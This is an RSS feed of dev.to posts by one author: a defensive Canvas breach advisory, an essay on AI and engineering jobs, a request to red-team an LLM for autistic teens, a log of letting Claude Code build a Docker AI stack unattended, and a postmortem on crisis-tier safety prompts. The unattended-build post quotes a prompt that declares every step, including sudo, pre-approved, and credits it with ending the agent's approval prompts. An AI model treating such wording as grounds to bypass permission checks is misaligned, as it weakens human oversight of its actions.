Canvas-issued key got that key invalidated and reissued. Connected tools&lt;br&gt;
started prompting for reauthorization.&lt;/p&gt;

&lt;p&gt;What it does not mean: your tenant-generated API keys were rotated.&lt;br&gt;
Those are keys your institution created for your own integrations. They&lt;br&gt;
are not invalidated by Instructure's remediation. They are your&lt;br&gt;
responsibility.&lt;/p&gt;

&lt;p&gt;If you generated API keys for any Canvas integration -- reporting&lt;br&gt;
pipelines, custom LTI tools, data warehouse syncs, anything -- those&lt;br&gt;
keys need to be treated as potentially compromised until you've rotated&lt;br&gt;
them yourself.&lt;/p&gt;

&lt;p&gt;The second problem is the reauthorization window. An attacker holding&lt;br&gt;
confirmed institutional email addresses -- which is exactly what was&lt;br&gt;
taken -- can send reauthorization prompts that are structurally&lt;br&gt;
indistinguishable from the legitimate ones Instructure is triggering&lt;br&gt;
right now. In prior edtech incidents, the phishing wave followed the&lt;br&gt;
breach disclosure within weeks. That window is open.&lt;/p&gt;

&lt;p&gt;Any Canvas reauthorization email landing in an inbox rather than&lt;br&gt;
appearing inside the Canvas interface itself should be treated as&lt;br&gt;
suspicious.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to Audit Right Now
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Rotate tenant-generated API keys first.&lt;/strong&gt; Every key your institution&lt;br&gt;
created for Canvas integrations -- LTI tools, SIS connectors, reporting&lt;br&gt;
pipelines, data exports -- needs to be rotated. Don't wait for&lt;br&gt;
Instructure to tell you which keys were in scope. Assume all of them&lt;br&gt;
until you know otherwise.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If Canvas SSO federates into Microsoft Entra ID, this is your checklist:&lt;/p&gt;

&lt;p&gt;Open &lt;strong&gt;Enterprise Applications&lt;/strong&gt; in Entra and filter for any app&lt;br&gt;
registered against Canvas or Instructure. For each one: check consented&lt;br&gt;
Graph API permissions against what the integration actually needs, rotate&lt;br&gt;
client secrets, and revoke and reissue any certificates. A Canvas-side&lt;br&gt;
credential that holds Graph API access into your Entra tenant is a path&lt;br&gt;
to your directory, not just Canvas.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Audit OAuth grants in every identity provider Canvas touches.&lt;/strong&gt;&lt;br&gt;
A stolen Canvas-linked credential with directory permissions is&lt;br&gt;
lateral movement waiting to happen. The breach is at Instructure.&lt;br&gt;
The blast radius is wherever those credentials reach.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Run the same check against any other identity provider Canvas federates&lt;br&gt;
against -- Okta, Google Workspace, ADFS. Inventory every app registration&lt;br&gt;
and OAuth grant. Verify least-privilege scope on each one.&lt;/p&gt;

&lt;p&gt;Enforce MFA on privileged accounts -- Instructure's own post-containment&lt;br&gt;
guidance said this explicitly. And treat any Canvas-themed email asking&lt;br&gt;
for credential input as a potential phishing attempt for the next sixty&lt;br&gt;
to ninety days.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Architecture Problem
&lt;/h2&gt;

&lt;p&gt;Canvas integrates with over 1,000 external tools across 7,000+&lt;br&gt;
institutions. When Instructure gets compromised, every institution's&lt;br&gt;
integration stack inherits the exposure simultaneously. None of your own&lt;br&gt;
perimeter controls see it because the attacker never touched your&lt;br&gt;
perimeter. The traffic looked authorized because the credentials were&lt;br&gt;
authorized -- just stolen.&lt;/p&gt;

&lt;p&gt;PowerSchool. Infinite Campus. Now Instructure. Three major edtech vendors&lt;br&gt;
in eighteen months. The vendors are different. The structural pattern is&lt;br&gt;
identical: single SaaS provider, single credential compromise, thousands&lt;br&gt;
of institutions inherit the breach at once.&lt;/p&gt;

&lt;p&gt;The question worth sitting with isn't how to harden Canvas from outside&lt;br&gt;
-- you can't do that. It's what your institution's Canvas deployment&lt;br&gt;
trusts, how many integrations that trust extends through, and whether&lt;br&gt;
you have visibility into the OAuth consent graph that Canvas holds into&lt;br&gt;
your environment. For most institutions, the honest answer to the last&lt;br&gt;
part is no.&lt;/p&gt;

&lt;p&gt;Keep an eye on &lt;a href="https://status.instructure.com" rel="noopener noreferrer"&gt;status.instructure.com&lt;/a&gt;&lt;br&gt;
and your institution's IT security page. The investigation is still&lt;br&gt;
running and the notification timeline is still developing.&lt;/p&gt;

&lt;p&gt;If you've run the Entra audit already and found something worth sharing,&lt;br&gt;
I'd be curious what the consent graph looked like in a mature Canvas&lt;br&gt;
deployment.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>cloud</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Beyond the Hype: The 2026 Systems Engineering Realignment (and what it means for your stack)</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Mon, 04 May 2026 15:54:44 +0000</pubDate>
      <link>https://dev.to/kkierii/beyond-the-hype-the-2026-systems-engineering-realignment-and-what-it-means-for-your-stack-3bai</link>
      <guid>https://dev.to/kkierii/beyond-the-hype-the-2026-systems-engineering-realignment-and-what-it-means-for-your-stack-3bai</guid>
      <description>&lt;p&gt;Something shifted in the last ninety days. While the headlines talk about 1.9% tech growth, those of us in the trenches are seeing a different reality: The floor has been hit. &lt;/p&gt;

&lt;p&gt;We are no longer in the "automation at all costs" era. We have entered the era of Human-Led Resilience.  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj6d33dq5dttgbh5ldui2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj6d33dq5dttgbh5ldui2.png" alt="Systems Engineer at a mission-critical command center monitoring network resilience and local AI infrastructure." width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Reality of 27-Second Breakouts&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;In my day job in public safety communications, "uptime" isn't a KPI; it's a life-safety requirement. That perspective changes how you view modern incidents like the Vercel/Context.ai breach.  &lt;/p&gt;

&lt;p&gt;When an OAuth chain is compromised and the average eCrime breakout time hits 29 minutes (with some clocked at 27 seconds), your AI chatbot isn't going to save you. You need a human who knows the environment at a granular level.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My "Human in the Lead" Stack&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;I don't just talk about resilience; I test it. To maintain digital sovereignty and high-availability skills, I run a local-first inference and infrastructure stack:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Compute:&lt;/strong&gt; Dell T3610 (hardened for local inference)  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AI Orchestration:&lt;/strong&gt; Ollama, LiteLLM, and Open WebUI  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Virtualization:&lt;/strong&gt; Proxmox &amp;amp; VMware ESXi  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sovereignty:&lt;/strong&gt; Nextcloud (Project Skyvault)  &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Building this way isn't just about privacy; it's about accountability. If the stack hits a wall, I am the one who owns the resolution.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The New Baseline for 2026&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;The "junior pipeline" is compressing because generalist roles are being absorbed by automation. The demand is landing on engineers who can bridge the gap between technical execution and real-world strategic thinking.  &lt;/p&gt;

&lt;p&gt;Organizations have enough scar tissue now. They aren't looking for someone to "run the tool"; they are looking for the person who can govern the outcome.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technical References &amp;amp; Implementation Logs&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Definitive Version:&lt;/strong&gt; &lt;a href="https://www.google.com/search?q=https://blog.vertexops.org/2026-tech-realignment-hitl-engineering" rel="noopener noreferrer"&gt;Full Article at VertexOps&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Workforce Analysis:&lt;/strong&gt; &lt;a href="https://www.comptia.org/en/resources/research/state-of-the-tech-workforce-2026/" rel="noopener noreferrer"&gt;CompTIA State of the Tech Workforce 2026&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Incident Case Study:&lt;/strong&gt; &lt;a href="https://www.google.com/search?q=https://itecsonline.com/post/vercel-context-ai-breach-oauth-supply-chain-attack" rel="noopener noreferrer"&gt;Vercel Breach Breakdown (ITECS)&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Threat Intel:&lt;/strong&gt; &lt;a href="https://www.crowdstrike.com/global-threat-report/" rel="noopener noreferrer"&gt;CrowdStrike 2026 Global Threat Report&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's talk in the comments: How are you handling the shift toward "Human in the Lead" in your current environment? Are you leaning more into local sovereignty or managed services?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>devops</category>
      <category>cybersecurity</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Does anyone here know anyone that woudl be willing to test a custom workspace LLM based on Kimi2.6 and meant for autistic teens? I want to see if the safety guardrails are working as i am out of ideas to red team it.I can supply my last report if needed.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sun, 03 May 2026 15:51:55 +0000</pubDate>
      <link>https://dev.to/kkierii/does-anyone-here-know-anyone-that-woudl-be-willing-to-test-a-custom-workspace-llm-based-on-kimi26-183</link>
      <guid>https://dev.to/kkierii/does-anyone-here-know-anyone-that-woudl-be-willing-to-test-a-custom-workspace-llm-based-on-kimi26-183</guid>
      <description></description>
      <category>discuss</category>
      <category>llm</category>
      <category>security</category>
      <category>testing</category>
    </item>
    <item>
      <title>I Let Claude Code Build My Self-Hosted AI Stack Unattended. Here's What Actually Happened.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Thu, 30 Apr 2026 19:47:54 +0000</pubDate>
      <link>https://dev.to/kkierii/i-let-claude-code-build-my-self-hosted-ai-stack-unattended-heres-what-actually-happened-4c96</link>
      <guid>https://dev.to/kkierii/i-let-claude-code-build-my-self-hosted-ai-stack-unattended-heres-what-actually-happened-4c96</guid>
      <description>&lt;p&gt;Most "I tried AI-generated infrastructure" posts end one of two ways: either everything worked perfectly (it didn't), or it burned everything down (also didn't happen). Mine landed somewhere more useful than either of those.&lt;/p&gt;

&lt;p&gt;I wrote a detailed prompt, pointed Claude Code at a fresh Ubuntu Server 24.04 VM running on VMware ESXi 8, and walked away. No approvals. No babysitting. One unattended session to build a four-service AI inference stack from nothing.&lt;/p&gt;

&lt;p&gt;Here's what came out, what broke, and the five fixes that mattered.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Was Building
&lt;/h2&gt;

&lt;p&gt;The goal: a fully self-hosted AI stack I could use to test local models and experiment with an LLM gateway. Four services, all running in Docker on a single internal bridge network:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ollama&lt;/strong&gt; for local LLM inference&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LiteLLM&lt;/strong&gt; as an OpenAI-compatible proxy with key management and spend tracking&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open WebUI&lt;/strong&gt; as the chat frontend&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PostgreSQL 16&lt;/strong&gt; as LiteLLM's backend database&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The network design was intentional. Open WebUI talks to LiteLLM, not directly to Ollama. LiteLLM routes to local models or Ollama Cloud depending on what's selected. Ollama has no host port binding at all — the only way to reach it from outside the Docker network is through the gateway. Only ports 3000 and 4000 exposed. UFW locking everything else.&lt;/p&gt;

&lt;p&gt;This is a CPU-only dev environment (the RTX 3060 lives in my homelab box, not this VM), so I wasn't expecting blazing inference speed. I wanted a working stack I could actually build on.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Prompt Did Most of the Work
&lt;/h2&gt;

&lt;p&gt;Before running anything, I spent real time writing the prompt. Turns out this was the part that mattered most.&lt;/p&gt;

&lt;p&gt;I covered directory structure, secret generation strategy, the full Docker Compose configuraiton, healthcheck logic, UFW rules, and required a credential summary at the end. A few things I was deliberate about:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secrets.&lt;/strong&gt; All passwords and API keys generated with &lt;code&gt;openssl rand&lt;/code&gt;, stored in a &lt;code&gt;.env&lt;/code&gt; file immediately &lt;code&gt;chmod 600&lt;/code&gt;'d, never hardcoded anywhere. LiteLLM's &lt;code&gt;config.yaml&lt;/code&gt; uses &lt;code&gt;os.environ/&lt;/code&gt; references throughout. The &lt;code&gt;.env&lt;/code&gt; gets passed to containers via Docker's &lt;code&gt;env_file:&lt;/code&gt; directive, which injects values as environment variables rather than mounting the file anywhere web-accessible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Non-interactive mode.&lt;/strong&gt; This single paragraph changed everything:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;You have full sudo access. Execute every step autonomously without pausing to ask for confirmation, approval, or clarification. Treat every step as pre-approved.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Without it, Claude Code gates on nearly every tool use. File writes, sudo commands, service restarts — all of it pauses for approval. That one block is the difference between a fully autonomous run and you clicking "yes" for twenty minutes.&lt;/p&gt;




&lt;h2&gt;
  
  
  What It Did on Its Own
&lt;/h2&gt;

&lt;p&gt;I ran the prompt and left it. The sequence, with zero input from me:&lt;/p&gt;

&lt;p&gt;Installed Docker Engine from the official apt repo, created &lt;code&gt;/opt/ai-stack/&lt;/code&gt; with the full directory structure, generated all secrets with &lt;code&gt;openssl rand&lt;/code&gt;, wrote and immediately locked down &lt;code&gt;.env&lt;/code&gt;, wrote &lt;code&gt;litellm/config.yaml&lt;/code&gt; using environment variable references (no secrets hardcoded), created &lt;code&gt;prometheus/prometheus.yml&lt;/code&gt; as a required placeholder file (if this doesn't exist as a file, Docker creates it as a directory and compose fails — good catch), wrote &lt;code&gt;docker-compose.yml&lt;/code&gt; with all four services including healthchecks and dependency ordering, configured UFW with SSH rule added first then enabled with &lt;code&gt;--force&lt;/code&gt;, ran &lt;code&gt;docker compose pull&lt;/code&gt; then &lt;code&gt;docker compose up -d&lt;/code&gt;, verified each service, and printed a full credential summary.&lt;/p&gt;

&lt;p&gt;One session. No prompts. No intervention.&lt;/p&gt;




&lt;h2&gt;
  
  
  90% There. Five Fixes Required.
&lt;/h2&gt;

&lt;p&gt;The core infrastructure was solid. Containers came up in the right order, healthchecks resolved, the dependency chain worked, UFW was sane, secrets were handled correctly. I verified externally that nothing sensitive was web-accessible.&lt;/p&gt;

&lt;p&gt;The issues that needed fixing weren't architecture problems. They were configuration details — three of which are useful to know regardless of how you built the stack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 1: The LiteLLM healthcheck was broken in two ways.&lt;/strong&gt; The compose file used &lt;code&gt;/health&lt;/code&gt; with &lt;code&gt;curl&lt;/code&gt;. Problem: &lt;code&gt;/health&lt;/code&gt; on LiteLLM requires an API key, so Docker got a &lt;code&gt;401&lt;/code&gt; and interpreted it as a failed healthcheck. Also, &lt;code&gt;curl&lt;/code&gt; isn't installed in the LiteLLM image. The fix was switching to &lt;code&gt;/health/liveliness&lt;/code&gt; (no auth required) and replacing curl with a Python one-liner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;healthcheck&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CMD-SHELL"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;python3&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt;import&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;urllib.request;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;urllib.request.urlopen('http://localhost:4000/health/liveliness')&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;interval&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;15s&lt;/span&gt;
  &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10s&lt;/span&gt;
  &lt;span class="na"&gt;retries&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
  &lt;span class="na"&gt;start_period&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;30s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This one mattered most. Open WebUI's &lt;code&gt;depends_on&lt;/code&gt; condition is &lt;code&gt;service_healthy&lt;/code&gt; for LiteLLM. Broken healthcheck means Open WebUI never starts. Fix the healthcheck and everything downstream resolves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 2: &lt;code&gt;ENABLE_OLLAMA_API&lt;/code&gt; was set to false.&lt;/strong&gt; Local models pulled into the Ollama container weren't showing up in the model selector. Setting it to &lt;code&gt;"true"&lt;/code&gt; gives Open WebUI a direct connection to Ollama for listing local models, while still using LiteLLM as the API gateway. Simple, but invisible until you're staring at an empty model list wondering what happened.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 3: &lt;code&gt;DATABASE_URL&lt;/code&gt; leaked into Open WebUI via &lt;code&gt;env_file&lt;/code&gt;.&lt;/strong&gt; This is the one worth writing down somewhere.&lt;/p&gt;

&lt;p&gt;Docker's &lt;code&gt;env_file:&lt;/code&gt; passes every variable in the file to the container — every one. &lt;code&gt;DATABASE_URL&lt;/code&gt; (LiteLLM's PostgreSQL connection string) was in the shared &lt;code&gt;.env&lt;/code&gt;. Open WebUI picked it up, tried to connect to LiteLLM's Postgres instance, and crashed immediately on missing tables. The UI stopped loading entirely.&lt;/p&gt;

&lt;p&gt;The fix: remove &lt;code&gt;DATABASE_URL&lt;/code&gt; from &lt;code&gt;.env&lt;/code&gt;. Set it inline on the LiteLLM service only:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;litellm&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;DATABASE_URL&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgresql://litellm:${POSTGRES_PASSWORD}@postgres:5432/litellm&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open WebUI then correctly fell back to its own SQLite database. Any admin account created during the misconfiguration was lost (stored in the wrong DB), so a fresh account was needed after the fix. Minor, but worth knowing ahead of time.&lt;/p&gt;

&lt;p&gt;This pattern applies well outside this specific stack. Shared &lt;code&gt;.env&lt;/code&gt; files and service-specific secrets don't mix cleanly. Anything owned by one service should be set inline on that service.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 4: Ollama Cloud &lt;code&gt;api_base&lt;/code&gt; was wrong.&lt;/strong&gt; LiteLLM's OpenAI provider appends &lt;code&gt;/chat/completions&lt;/code&gt; to whatever &lt;code&gt;api_base&lt;/code&gt; you give it. The path needs to already include &lt;code&gt;/v1&lt;/code&gt;. &lt;code&gt;https://ollama.com&lt;/code&gt; constructed &lt;code&gt;https://ollama.com/chat/completions&lt;/code&gt; — 404. &lt;code&gt;https://ollama.com/v1&lt;/code&gt; constructed &lt;code&gt;https://ollama.com/v1/chat/completions&lt;/code&gt; — 200. One path component, all Ollama Cloud calls failing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 5: Ollama is in Docker. Its CLI is too.&lt;/strong&gt; I ran &lt;code&gt;ollama pull llama3.2&lt;/code&gt; on the host and got command not found. The binary isn't on the host. All Ollama operations in a Dockerized install go through &lt;code&gt;docker exec&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; ollama ollama pull llama3.2
docker &lt;span class="nb"&gt;exec &lt;/span&gt;ollama ollama list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No functional impact. Just the kind of thing you forget in the moment.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Part That Stuck With Me
&lt;/h2&gt;

&lt;p&gt;Prompt quality determines output quality, full stop. The reason this went as well as it did is that the prompt was thorough. Gaps in the prompt become gaps in the output. That's not a Claude Code-specific observation, it's just how agentic automation works — same as writing a runbook for a junior tech. Vague instructions, vague results.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;env_file&lt;/code&gt; scope thing is the most broadly useful takeaway from this whole experiment, becuase it has nothing to do with AI-generated configs specifically. It's Docker behavior that bites people in hand-written compose files too.&lt;/p&gt;

&lt;p&gt;And honestly? 90% correct on first autonomous run for a four-service stack with network isolation, secrets management, and firewall configuration is a result I'd take. The five fixes were configuration details. Nothing had to be rebuilt. The services came up, the network worked, the firewall was sane.&lt;/p&gt;

&lt;p&gt;For a CPU-only dev environment on a clean VM, that's a solid starting point.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Stack: Ollama + LiteLLM + Open WebUI + PostgreSQL | Docker Compose | Ubuntu Server 24.04 | VMware ESXi 8&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
      <category>productivity</category>
    </item>
    <item>
      <title>I Built a Guardrailed, RAG-Powered AI Workspace for My Autistic Teenager. Here's What Actually Broke.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sat, 25 Apr 2026 21:37:12 +0000</pubDate>
      <link>https://dev.to/kkierii/i-built-a-guardrailed-rag-powered-ai-workspace-for-my-autistic-teenager-heres-what-actually-16an</link>
      <guid>https://dev.to/kkierii/i-built-a-guardrailed-rag-powered-ai-workspace-for-my-autistic-teenager-heres-what-actually-16an</guid>
      <description>&lt;p&gt;My daughter is 13 and autistic. She needs homework help at 9pm sometimes. Every AI tool I looked at was either totally unmonitored, pointed at the open internet, or locked behind a school district policy I had zero visibility into.&lt;/p&gt;

&lt;p&gt;I'm an IT admin. I run a homelab. I have an RTX 3060 sitting there. So I built something myself.&lt;/p&gt;

&lt;p&gt;This isn't a tutorial. It's a postmortem of everything that failed and what I did to fix it — because the gap between "I have a working Ollama instance" and "this is actually safe for a vulnerable kid" is a lot wider than I expected.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Stack
&lt;/h2&gt;

&lt;p&gt;Nothing exotic here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ubuntu Server 24.04&lt;/strong&gt; on local hardware&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ollama&lt;/strong&gt; for model serving&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LiteLLM 1.68.2&lt;/strong&gt; as the LLM proxy&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open WebUI 0.8.12&lt;/strong&gt; as the front end&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TEI reranker container&lt;/strong&gt; for RAG reranking&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PostgreSQL&lt;/strong&gt; for persistent storage&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RTX 3060 12GB&lt;/strong&gt; doing the inference&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Getting this running took an afternoon. Getting it to actually behave correctly for a neurodivergent 13-year-old took weeks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Failure 1: The System Prompt Isn't Just Instructions
&lt;/h2&gt;

&lt;p&gt;I came in thinking I understood system prompts. I didn't — not for this use case.&lt;/p&gt;

&lt;p&gt;The hardest part was safety escalation. I needed the assistant to respond differently to three distinct situations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tier 1:&lt;/strong&gt; Stress and frustration. &lt;code&gt;"I hate this homework"&lt;/code&gt; → calm acknowledgment, one small next step, no alarm.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tier 2:&lt;/strong&gt; Ambiguous language that &lt;em&gt;might&lt;/em&gt; suggest self-harm. &lt;code&gt;"I just want to disappear"&lt;/code&gt; → specific required phrases, 988 crisis line, tell a trusted adult.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tier 3:&lt;/strong&gt; Explicit crisis disclosure. &lt;code&gt;"I want to hurt myself"&lt;/code&gt; → stop everything, full escalation, all four required phrases, crisis resources.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My first implementation shared a single phrase list across Tier 2 and Tier 3. The model couldn't reliably tell them apart. It kept firing Tier 3 language at Tier 2 inputs.&lt;/p&gt;

&lt;p&gt;That matters. Over-escalating to a kid who said "I wish I wasn't here" while frustrated about a math test is its own kind of harm. It can cause panic. It can erode trust. It can make them less likely to say anything at all next time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; Split everything into tier-specific blocks. Added concrete anchoring examples inside each tier definition. Added an explicit pre-response decision rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Before responding to any distress signal, identify the correct tier first.
Do not use Tier 3 language for Tier 2 signals.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simple in retrospect. Not obvious until you've watched it fail a few times.&lt;/p&gt;




&lt;h2&gt;
  
  
  Failure 2: RAG Retrieval Wasn't Doing What I Thought
&lt;/h2&gt;

&lt;p&gt;I built a knowledge base of 34 support documents: study habits, math steps, overwhelm strategies, emotional support, writing frameworks, autism-specific anchors for executive function and stress shutdown.&lt;/p&gt;

&lt;p&gt;Uploaded them. Ran a test. The model pulled a research standards document instead of the overwhelm support guide.&lt;/p&gt;

&lt;p&gt;The problem: my short support docs (200–400 words each) were being semantically outcompeted by longer, denser reference documents during retrieval scoring. Embeddings don't care which document is "right." They care about similarity, and a thin support guide loses to a 1,500-word standards reference almost every time.&lt;/p&gt;

&lt;p&gt;I tried chunking adjustments first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;chunk_size&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;300 → &lt;/span&gt;&lt;span class="m"&gt;800&lt;/span&gt;
&lt;span class="na"&gt;overlap&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;50 → &lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Helped marginally. Didn't fix it. The root cause was semantic density mismatch, not chunking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The real fix:&lt;/strong&gt; Rewrote all 29 general support documents to be longer and richer. Added a Common Core connection section to each one — deliberately mirroring the vocabulary of the dense anchor documents so the support docs could compete in retrieval scoring. Three hours of rewriting. After that, retrieval started hitting the right documents consistently.&lt;/p&gt;




&lt;h2&gt;
  
  
  Failure 3: "One Step at a Time" Wasn't Enforced Enough
&lt;/h2&gt;

&lt;p&gt;The system prompt said: give distressed users one step at a time. What the model actually did was give one step, then append a "Remember:" block, or a "Tips:" section, or an "If you get stuck:" coda.&lt;/p&gt;

&lt;p&gt;Technically compliant with the spirit of the rule. Not actually compliant. For a kid who's already overwhelmed, that extra content is precisely the problem we were trying to solve.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; Added an explicit forbidden behaviors section:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Do not add extra sections such as "if you get stuck," "tips," 
"remember," or "extra help" unless the knowledge base pattern 
includes them or the user explicitly asks.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After that, instruction compliance tests passed consistently.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Test Protocol
&lt;/h2&gt;

